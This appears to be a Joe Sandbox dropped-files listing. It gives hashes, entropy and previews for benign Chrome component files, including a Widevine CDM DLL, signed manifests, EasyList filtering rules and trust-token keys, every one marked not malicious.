Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2877728
Entropy (8bit):	6.868480682648069
Encrypted:	false
SSDEEP:	49152:GB6BoH5sOI2CHusbKOdskuoHHVjcY94RNETO2WYA4oPToqnQ3dK5zuqvGKGxofFo:M67hlnVjcYGRNETO2WYA4oLoqnJuZI5
MD5:	477C17B6448695110B4D227664AA3C48
SHA1:	949FF1136E0971A0176F6ADEA8ADCC0DD6030F22
SHA-256:	CB190E7D1B002A3050705580DD51EBA895A19EB09620BDD48D63085D5D88031E
SHA-512:	1E267B01A78BE40E7A02612B331B1D9291DA8E4330DEA10BF786ACBC69F25E0BAECE45FB3BAFE1F4389F420EBAA62373E4F035A45E34EADA6F72C7C61D2302ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: , Detection: malicious, Browse Filename: cndx.com.eml, Detection: malicious, Browse Filename: Fd-Employee-Handbook(1).pdf, Detection: malicious, Browse Filename: ATT001_2674865722.htm, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: call_playback_Senecacollege.html, Detection: malicious, Browse Filename: HwusQ091ed.html, Detection: malicious, Browse Filename: Listen Now!!.html, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: YiCRY9tceW.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....fd.........." ......(..........A&.......................................,.......,...`A.........................................V......V......`,......`+..p....+. )...p,......D.8....................C.(.....(.8...........p\..............................text.....(.......(................. ..`.rdata..h.....(.......(.............@..@.data....l......&.................@....pdata...p...`+..r.................@..@.00cfg..(.....+......p+.............@..@.gxfg....$....+..&...r+.............@..@.retplnel.... ,.......+..................tls.........0,.......+.............@....voltbl.D....@,.......+................._RDATA.......P,.......+.............@..@.rsrc........`,.......+.............@..@.reloc.......p,.......+.............@..B........................................................................................................................................

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1778
Entropy (8bit):	6.02086725086136
Encrypted:	false
SSDEEP:	48:p/hCdQAdJjRkakCi0LXjX9mqjW6JmfQkNWQzXXf2gTs:RtQ1aaxXrjW6JuQEWQKas
MD5:	3E839BA4DA1FFCE29A543C5756A19BDF
SHA1:	D8D84AC06C3BA27CCEF221C6F188042B741D2B91
SHA-256:	43DAA4139D3ED90F4B4635BD4D32346EB8E8528D0D5332052FCDA8F7860DB729
SHA-512:	19B085A9CFEC4D6F1B87CC6BBEEB6578F9CBA014704D05C9114CFB0A33B2E7729AC67499048CB33823C884517CBBDC24AA0748A9BB65E9C67714E6116365F1AB
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJHb29nbGUuV2lkZXZpbmUuQ0RNLmRsbCIsInJvb3RfaGFzaCI6Im9ZZjVLQ2Z1ai1MYmdLYkQyWFdBS1E5Nkp1bTR1Q2dCZTRVeEpGSExSNWMifSx7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiYk01YTJOU1d2RkY1LW9Tdml2eFdqdXVwZ05pblVGakdPQXRrLTBJcGpDZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6Im5laWZhb2luZGdnZmNqaWNmZmtncG1ubHBwZWZmYWJkIiwiaXRlbV92ZXJzaW9uIjoiMS4wLjI3MzguMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"KTPeHzS0ybFaz3_br3ASYWHjb6Ctul92067u2JMwtNYYm-4KxLiSkJZNBIzhm6hNSEW2p5kUEvHD0TjhhFGCZnWm9titj2bqJayCOAGxZb5BO74JJCRfy5Kwr1KSS4nvocsZepnHBmCiG2OV3by-Lyf1h1uU3X3bDfD92O0vJzrA8rwL2LrwIk-BolLo5nlM0I_MZwg8DhZ8SFBu9GGRVB2XrailDrv4SgupFE9gqA1HY6kjRjoyoAHbRRxZdBNNt9IKNdxNyaF9NcNRY8dAedNQ9Tw3YNp5jB7R9lcjO4knn58RdH2h_GiJ4l96StcXA4e7cqbJ77P-c

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.974403644129192
Encrypted:	false
SSDEEP:	3:SLVV8T+WSq2ykFDJp9qBn:SLVqZS5p0B
MD5:	D30A5BBC00F7334EEDE0795D147B2E80
SHA1:	78F3A6995856854CAD0C524884F74E182F9C3C57
SHA-256:	A08C1BC41DE319392676C7389048D8B1C7424C4B74D2F6466BCF5732B8D86642
SHA-512:	DACF60E959C10A3499D55DC594454858343BF6A309F22D73BDEE86B676D8D0CED10E86AC95ECD78E745E8805237121A25830301680BD12BFC7122A82A885FF4B
Malicious:	false
Preview:	1.c900ba9a2d8318263fd43782ee6fd5fb50bad78bf0eb2c972b5922c458af45ed

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1181785141\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	145
Entropy (8bit):	4.595307058143632
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFooG+HhFFKS18CWjhXLXGPQ3TRpvF/FHddTcplFHddTcVYA:F6VlM5PpKS18hRIA
MD5:	BBC03E9C7C5944E62EFC9C660B7BD2B6
SHA1:	83F161E3F49B64553709994B048D9F597CDE3DC6
SHA-256:	6CCE5AD8D496BC5179FA84AF8AFC568EEBA980D8A75058C6380B64FB42298C28
SHA-512:	FB80F091468A299B5209ACC30EDAF2001D081C22C3B30AAD422CBE6FEA7E5FE36A67A8E000D5DD03A30C60C30391C85FA31F3931E804C351AB0A71E9A978CC0F
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "windows-mf-cdm",. "version": "1.0.2738.0",. "accept_arch": [. "x64",. "x86_64",. "x86_64h". ].}

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1249102660\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1796
Entropy (8bit):	6.011407197645086
Encrypted:	false
SSDEEP:	48:p/htI1aFxIpFNyA7ak1dg/SJyYdYAyuA8AFFkexQ3AUo:R4aMYA7aYlyu+FF7S3At
MD5:	601185B85E238CEFF19723D8451251F3
SHA1:	E162065225431BD770E9CC065DAFCE09ECD02E65
SHA-256:	991577EDBCFD78F767710B9C68D0CADFFF70AD2BBADB8F2148546554E61BB835
SHA-512:	38F1E268E666998EC5E1937C7312FBE85046A53A4C93D405750E5B27C6E3E48DD1D473F4B6C1FC8EC8E647EEE1C46295E2833B8670009AB474D06D8770A69265
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJjcl9lbi11c181MDAwMDBfaW5kZXguYmluIiwicm9vdF9oYXNoIjoiQ1dYMkhlM2xlZk5ab3lnaUhRZUZ4bUhZSGc5NFlKa29vXzhsRE5NQ0w3dyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJnVHRBaXZvd0h0SjFELXZUUTFydVJYOTQ4Nms0MUJLbHRnWkRaQy1MX0FJIn1dLCJmb3JtYXQiOiJ0cmVlaGFzaCIsImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoib2JlZGJiaGJwbW9qbmthbmljaW9nZ25tZWxtb29tb2MiLCJpdGVtX3ZlcnNpb24iOiIyMDI1MDIyNy43MzM5MDIzNDkuMTQiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"l9cL7exFjMsfpeGep-Pcv5VNYwaOwi4muhwiMlyYQiJAgJQCmLXoQJQkg3HbvCDumRDOcWIKUISoc1C8QeXfoyM1QzZrrBtmRMV1FOLNKX_sVH9bBHWFlQaInqrKL0Du5QNr0xtS2xhbo2Y8er7z01X9H_9yk8kXGopyvDdqkZC8XUVrbluIIC14SoVDA-rcdPbFgowLbkiROrpGitP3PzmICuF057LgQGH0Att-fMyjdFVHowFOen9dOxnkX34a4OVAtucoSsbNm_w6AAWdubKMOSpHKUBx9jt7i_IsigcsOIcY2qZ3a95g1-O

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1249102660\cr_en-us_500000_index.bin

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	7968540
Entropy (8bit):	6.571114626064765
Encrypted:	false
SSDEEP:	98304:UEzlNLfycZnrLVcM3cgwXuVhIpUTCWjop1LWaf63ou:7xNLfycZnPVcM3meVmpUeWobLB63L
MD5:	E5E76E7803E08AEB738BCF4920976182
SHA1:	AE3224B00F4A44AA60F3D897C67C9AA6EF7456A1
SHA-256:	6EBE7DEE1F05566D5B4E3977F09734A31DC5CAD3D181C0630F024A9156A1F439
SHA-512:	50DCDADB3CBFB692B5A30D89482C226E4CB96B98BB603A7DFB75953AA880FF67AEF2CA6C3BAC730CA07BBB20E6F013B60B008AB4C257A1042EAF457001071858
Malicious:	false
Preview:	......ws....a}F...te. ..y../..h.Z0..fK(A..g..I..r.hQ..c..Y..e#.n..n.$u..l.[\|..u.=...dao...b!...p....mK....z.....ia...s.....o.....v1....k.W...x{....j.u...1e....5]V...q....4.q...2Y....7a....9.....3i....6.....8......'....0...........}.....s.............. %..........&+.....+...............%.... ....... . .....L.............Y....$......C&...... .'....lafur darri .lafsson.'...#3(....rsula corber..(.../')..........&....).... to usdj..... meaning.....w...-..... .... .............................r eldonhn....*....sad.ra bjarkard.ttir barneyD].... meaning2T.... meaningN:.....+............ 2025...... meaning......,...).,...(.,..... .. .. ..<O.... meaning.M..@.-...... ....... ........ . .....t....lker.....s-..... meaningZ.. . .... .........................0..... meaning...... meaning.....eviri.`.... meaning.\.... meaningpV....

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1249102660\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.9536753781556975
Encrypted:	false
SSDEEP:	3:SQ+JUcGSGa/X4TDcVLUSXMVg7SHZd3E:SQ+JFGSGa0c5USXMVg7aj0
MD5:	1378BE89E4FFD17EBC1CB724D09B1471
SHA1:	5979D6E0F035B348AC60592E46194D74E336C60B
SHA-256:	69B44D2B1AD7A5AFF70B676BA05AA53C0BB489EF97A9DC592D038CD4846F26F9
SHA-512:	1507458456D7C8A5EA1BCEE0D8F7525B910F1CC63634C9E1ACB68AC8CBE1639BF1A07B0DC1F12A6F1C7398C3CFCF550B25BCFA00674BEF95C2A638A9C0A92756
Malicious:	false
Preview:	1.58fcc7f04e9e9c33d7ad4b505515db2a46f90f2172ac10be0473e91ac85ec90a

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1249102660\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	108
Entropy (8bit):	4.867039618373912
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifF0AAGAR3CKG/w/VpKS12HSmWwR6x:F6VlMT2C7Y/VUS12HSmWww
MD5:	F994EB275E51620E47341D54E520BE6C
SHA1:	41707607DCEE66FF0FBC5F27182CDF840C4C9E85
SHA-256:	813B408AFA301ED2750FEBD3435AEE457F78F3A938D412A5B60643642F8BFC02
SHA-512:	758CA9DCAEC432FFD6A4648260E6AAA81298071DB34BCBE1B522212DC6CF9BBEB16F99EE19EF364B758498B30815D562D23E85E7697275B19DF4C485673B34E2
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "OnDeviceHeadSuggestENUS500000",. "version": "20250227.733902349.14".}

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\Filtering Rules

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	77095
Entropy (8bit):	5.538618070900601
Encrypted:	false
SSDEEP:	1536:y1RlxQ6jQG4eeBp91moaWQQgw6I7xQvQUjci7UglVMSe/14SorG:YFBjt4xBpeoaVQgw6ItEQUjci7TVMJ46
MD5:	5F2E8BC6FD4937FBB0939C6773064F3E
SHA1:	524FAECE2A5491EF2739C2424F962C9ADF74E891
SHA-256:	4723C6E42380C6A90A601C9BF6E4DD72136958516DE05623DC8D342B6E05F00C
SHA-512:	D5B3CF6AB579B71F68BB02739B70DE1D403CE59C45442015E09B502E723E9D9FFCCED8429C228F467995CD01A13CAE9D2172994FF0D8677DFE501898922E00B7
Malicious:	false
Preview:	............0.8.@.R.-728x90...........0.8.@.R.adtdp.com^..........0.8.@.R.just-news.pro^..........0.8.@.R.6dc2699b37.com^..........0.8.@.R.yomeno.xyz^..........0.8.@.R.yellowblue.io^..........0.8.@.R.abh.jp^..........0.8.@.R.ad999.biz^..........0.8.@.R._468_60...........0.8.@.R.adrecover.com^..........0.8.@.R.pemsrv.com^..........0.8.@.R.mnaspm.com^.$........0.8.@.R.tags.refinery89.com^.,........0.8.@.R.mysmth.net/nForum//ADAgent_.>...........worldstar.com0.8.@.R.js.assemblyexchange.com/wana..(........0.8.@.R.ogads-pa.googleapis.com^..........0.8.@.R.indoleads.com^.%......0.8.@.R.discordapp.com/banners/.(........0.8.@.R.looker.com/api/internal/.#........0.8.@.R.broadstreetads.com^.(........0.8.@.R.shikoku-np.co.jp/img/ad/..........0.8.@.R./in/track?data=.!......0.8.@.R.linkbucks.com/tmpl/..........0.8.@.R.clicktripz.com^..........0.8.@.R.-ad-manager/........0.8.@.R.files.slack.com^.$........0.8.@.R.admitad-connect.com^..........0.8.@.R./300-250-.2........0.8.@.R"cloudfront.net/js/com

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\LICENSE.txt

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24623
Entropy (8bit):	4.588307081140814
Encrypted:	false
SSDEEP:	384:mva5sf5dXrCN7tnBxpxkepTqzazijFgZk231Py9zD6WApYbm0:mvagXreRnTqzazWgj0v6XqD
MD5:	D33AAA5246E1CE0A94FA15BA0C407AE2
SHA1:	11D197ACB61361657D638154A9416DC3249EC9FB
SHA-256:	1D4FF95CE9C6E21FE4A4FF3B41E7A0DF88638DD449D909A7B46974D3DFAB7311
SHA-512:	98B1B12FF0991FD7A5612141F83F69B86BC5A89DD62FC472EE5971817B7BBB612A034C746C2D81AE58FDF6873129256A89AA8BB7456022246DC4515BAAE2454B
Malicious:	false
Preview:	EasyList Repository Licences.... Unless otherwise noted, the contents of the EasyList repository.. (https://github.com/easylist) is dual licensed under the GNU General.. Public License version 3 of the License, or (at your option) any later.. version, and Creative Commons Attribution-ShareAlike 3.0 Unported, or.. (at your option) any later version. You may use and/or modify the files.. as permitted by either licence; if required, "The EasyList authors.. (https://easylist.to/)" should be attributed as the source of the.. material. All relevant licence files are included in the repository..... Please be aware that files hosted externally and referenced in the.. repository, including but not limited to subscriptions other than.. EasyList, EasyPrivacy, EasyList Germany and EasyList Italy, may be.. available under other conditions; permission must be granted by the.. respective copyright holders to authorise the use of their material.......Creative Commons Attribut

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1529
Entropy (8bit):	5.976028518573561
Encrypted:	false
SSDEEP:	24:pZRj/flTHYFluT1XkYbKgH8jeT3g8zkaoXdKydEHKcL/cAyXoXmKiqJzc64VnICx:p/h4iJfbKgHzT1kakd9d+/LyXkmKL4dJ
MD5:	B34777C83FE725443F6706F838BFCC71
SHA1:	FB5FAB94D7E51A04BFECD8CA892A0268A491B68B
SHA-256:	93FCA3B0D84D2A8B73AEB4F9750EC4075D564677CA62FA9BBD976D5D5619E90C
SHA-512:	377A4EC4982378ABCDCFD91B257A3EF9FEA2DD9F6757A22DD5F829801FA5553B788155435F5F065FEB70B1E7D3F60812458D631C7C5B77D4E4E629DC3CB1D422
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJGaWx0ZXJpbmcgUnVsZXMiLCJyb290X2hhc2giOiJ6U0s3aDNrdHZHdk0tN0FNeExfLXpmbm9wUldrTkoxU2E0RW1QTVdpa3dnIn0seyJwYXRoIjoiTElDRU5TRS50eHQiLCJyb290X2hhc2giOiIyaWswNmk0TFlCdVNHNWphRGFIS253NE9pdnVSRzZsQ0JKMVk0TGtzRFJJIn0seyJwYXRoIjoibWFuaWZlc3QuanNvbiIsInJvb3RfaGFzaCI6Ik0zUVZyMko2WEZJTjZIaERNdzFiU2RnRUhrdk5NVlMxdnNIU29mWHJtWDQifV0sImZvcm1hdCI6InRyZWVoYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk2fV0sIml0ZW1faWQiOiJnY21qa21nZGxnbmtrY29jbW9laW1pbmFpam1tam5paSIsIml0ZW1fdmVyc2lvbiI6IjkuNTUuMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"eVOox95LHt_huD1ZXNk2zxPSK5LxokRu6x0S_ww8Ogb8eOdWxUS-5DWuW4M3rfp6I9tSsLFbZQBy5kvVbkG2XTL2RHMfdF39BNFpjebNLkcQj85ki-IZdn4iYzb7yR8D2jsu2I5aXLZKuwemUaYqw_WiH8DPDTddIWBsR26QcPWGLg1H97vUpe7XsZSs2evmcojkfDe0pzKgmnnsngqJjoPdYbz7iCvc4cTtvuT5q_DqSlH8t

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.858534313092168
Encrypted:	false
SSDEEP:	3:STED3DG7BRc6VANMdunDlGwpva:S+3y66qNMgDl1pC
MD5:	00336491D5151AE40C377A836A97D4E1
SHA1:	B66D1B09F3473DAC79E036F30C12003E1707E0A0
SHA-256:	3D4821C7C552D1D9F0A36859C34432433A7084B27D7928011B0534215EFFD3C9
SHA-512:	12E324A3782DC7928FC182C74D3E8CBE8FBF3D884D54A03C891775041B8FAF4B96F4F271C04E67AC3D6FE610F87F63FF5DCD04870AED92B2B470F73BD7AD38D4
Malicious:	false
Preview:	1.6af08fc2b0dd497e30e40290efcb817b9b1f7dc7f734ab1a9dd000ae01f36050

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1434875442\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.547350270682037
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFHXG7LGMdv5HcDKhtUJKS1wA:F6VlMZWuMt5SKPS1wA
MD5:	9585CB6CAE92DF90F9FCE1091C6DA40A
SHA1:	FCA8BDED549311578C4623680159FFED831FC38B
SHA-256:	337415AF627A5C520DE87843330D5B49D8041E4BCD3154B5BEC1D2A1F5EB997E
SHA-512:	99192B2F98C559CE61CFE5796733A9DA01CF9B4CA966500ABDD71E35E18A3BF9B75CE5815E73F19D07F299E4BE2B8FC6B9F289D6BBBBF357B9C0D24622DB8207
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "Subresource Filtering Rules",. "ruleset_format": 1,. "version": "9.55.0".}

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.00682540004288
Encrypted:	false
SSDEEP:	48:p/hUjSoCWAdte7akapu8IA1MSrhykmwDkV:RfpWQte7aSunyRb
MD5:	28706AD42E4C615A683C2494BC0BD2AF
SHA1:	6B0465B3D5E85A3EA76C646BA8652C4DC0248DC0
SHA-256:	709BBB3E3A17E2B7BBF9F4AFDCF465312695342CE4EB203DF284233EACEE086F
SHA-512:	E95DA92F1AD5F56EF61A5992A1B465D46F36EFF1FC85643CC5AB3F357B6F14D81A5B5590D0E18D4DA5FCC3AC537A469FD0C15B116A3471536707A9716119FA5F
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6ImtleXMuanNvbiIsInJvb3RfaGFzaCI6IlJ1R2ZTVTVlZVdiRHczOVpOMmQ5NHhIRkJuY2JNMWxtZXgybk5ZVmhMU00ifSx7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiVXdpQzFfVTFybGVra0d5bk5iRVp5ZU5rZ011M2dNZm9yVGZKeVAzejJiRSJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImtpYWJoYWJqZGJramRwamJwaWdmb2RiZGptYmdsY29vIiwiaXRlbV92ZXJzaW9uIjoiMjAyNS4xLjE3LjEiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"DjJ0cJJFQPGNShH6cqF0KMXYB9LDN7hZ0z-M2b0RfT3cl9Mxp62MiQM0bqevSkL0tNe9rHL_VWqPqY7PDdCoumMJ-TVwboLlLJq3c1H9NYQgQ-nQS4F3mFBvP0YJ-Kunf6byMQnF4FLGqtuRouNWZBUqyahkm__1_0-5qoAVqSms3wmBnmVhb1z4p-I6jEjko0pLBq4dad2vH7G6THiOPP15L1ozQ42gvfw5aLvn_Itjpwq7GaU9lNv

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\keys.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6690
Entropy (8bit):	5.981211959058716
Encrypted:	false
SSDEEP:	96:UXq6pG2GE+Vy2+m0plhYvPuW+wkpTm+ozdswsDm4+uTagSfC3AQj+y:uNtGbVKm4lOvMwkoR9PuGs3gy
MD5:	BEF4F9F856321C6DCCB47A61F605E823
SHA1:	8E60AF5B17ED70DB0505D7E1647A8BC9F7612939
SHA-256:	FD1847DF25032C4EEF34E045BA0333F9BD3CB38C14344F1C01B48F61F0CFD5C5
SHA-512:	BDEC3E243A6F39BFEA4130C85B162EA00A4974C6057CD06A05348AC54517201BBF595FCC7C22A4AB2C16212C6009F58DF7445C40C82722AB4FA1C8D49D39755C
Malicious:	false
Preview:	{"https://issuer.captchafox.com":{"PrivateStateTokenV1VOPRF":{"batchsize":1,"id":1,"keys":{"0":{"Y":"AAAAAQQiyE+SESbq7GU5rTx6tZO4tBOxljp+Oya2mU28O+YoALIyXlLLqnl/h5h95ExYSsOlmMIb8EdsJBTrCaDl/KIZSskrfMbZpjhShG0jwnbXojEHI9WaAxKLkX/A/DkyMEg=","expiry":"1734807628115000"},"1":{"Y":"AAAAAQRNtld+5LLBquS4bEJKJwlLw61tzIyqTNkvMVnUTu+YiphbdGrRCjeDTN9D3p1Tgpfmq0N/OKMBYWzDMEN8Km9p9s49c6N2ph4B1MV1m7Ogdj969MOsTw54Kc849oqDl8s=","expiry":"1734807628115000"},"2":{"Y":"AAAAAQSBWW003A3ORFURCZrWNnbEIH15yzk184DaLSebbGzRdyCYtAM1qhhVmXZyBtWTzh6Bfkk5rLPyE1xdQilofPBizF/QJsdaMU0GYhPW1sOU4xoKbmgd/XrnOoFqA2ETOuc=","expiry":"1734807628115000"},"3":{"Y":"AAAAAQSG/ftGdm5B6iwAmVsHt6s43xx3nRf/Vpx9GdeEt3jSTM8hHvyLE9FAEkinGjt4Fp5EjnkCdE96Cxz10nZJRrMApIrGhG5kAoDu4T8PjJPiFQFyHAOdTG7OJWi2NS/rl1A=","expiry":"1734807628115000"},"4":{"Y":"AAAAAQT36tqe550UP5A+4Eokt8iuPZEuWQc9cGJXd7zUCZzrsqtGu3PMcVbOj5DjC4W+yoyF3HqKOqdtiBWgcMsZOcyln/6jUKqf5tS9AoIHa9CC3kQB8ISQd3lhR5j+qWVY8ms=","expiry":"1734807628115000"},"5":{"Y":"AAAAAQQMjaLNCR

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.005340674128682
Encrypted:	false
SSDEEP:	3:SUsO4D2HGQ42IAVFxx9WQnRJn:SUsO4qmQHVDx0QDn
MD5:	030D9E3F4502E24594ABCA380C073974
SHA1:	AE068D4F8C668477DD8F4BC2892F09D0802130E0
SHA-256:	FD86A9E808BCC78B926C111633615D9A807D60A20CE2BAC7360915336ABB738F
SHA-512:	F28A0311A80FE81965874AE5A46161A7658E149AA48E26B81C500339461B84F2EB53193AEF4E4C78AADB7191AC4518E81BBFB1672CE6077200CC6DF5FAC4054B
Malicious:	false
Preview:	1.1987650928271ad440c2b8a50f309139de82c742fb6f1f3ea055b35718ac46e7

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_1601075502\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.442932812379182
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFIPgS1oSLsY:F6VlMyPgS1oxY
MD5:	7F4B594A35D631AF0E37FEA02DF71E72
SHA1:	F7BC71621EA0C176CA1AB0A3C9FE52DBCA116F57
SHA-256:	530882D7F535AE57A4906CA735B119C9E36480CBB780C7E8AD37C9C8FDF3D9B1
SHA-512:	BF3F92F5023F0FBAD88526D919252A98DB6D167E9CA3E15B94F7D71DED38A2CFB0409F57EF24708284DDD965BDA2D3207CD99C008B1C9C8C93705FD66AC86360
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "trustToken",. "version": "2025.1.17.1".}

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3636_677949319\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1792
Entropy (8bit):	6.012711557305891
Encrypted:	false
SSDEEP:	48:p/hwp+bHAdRWp7ak/a4O7QQZoyZkGr4gxa:RrQwp7aWa4O9HfxI
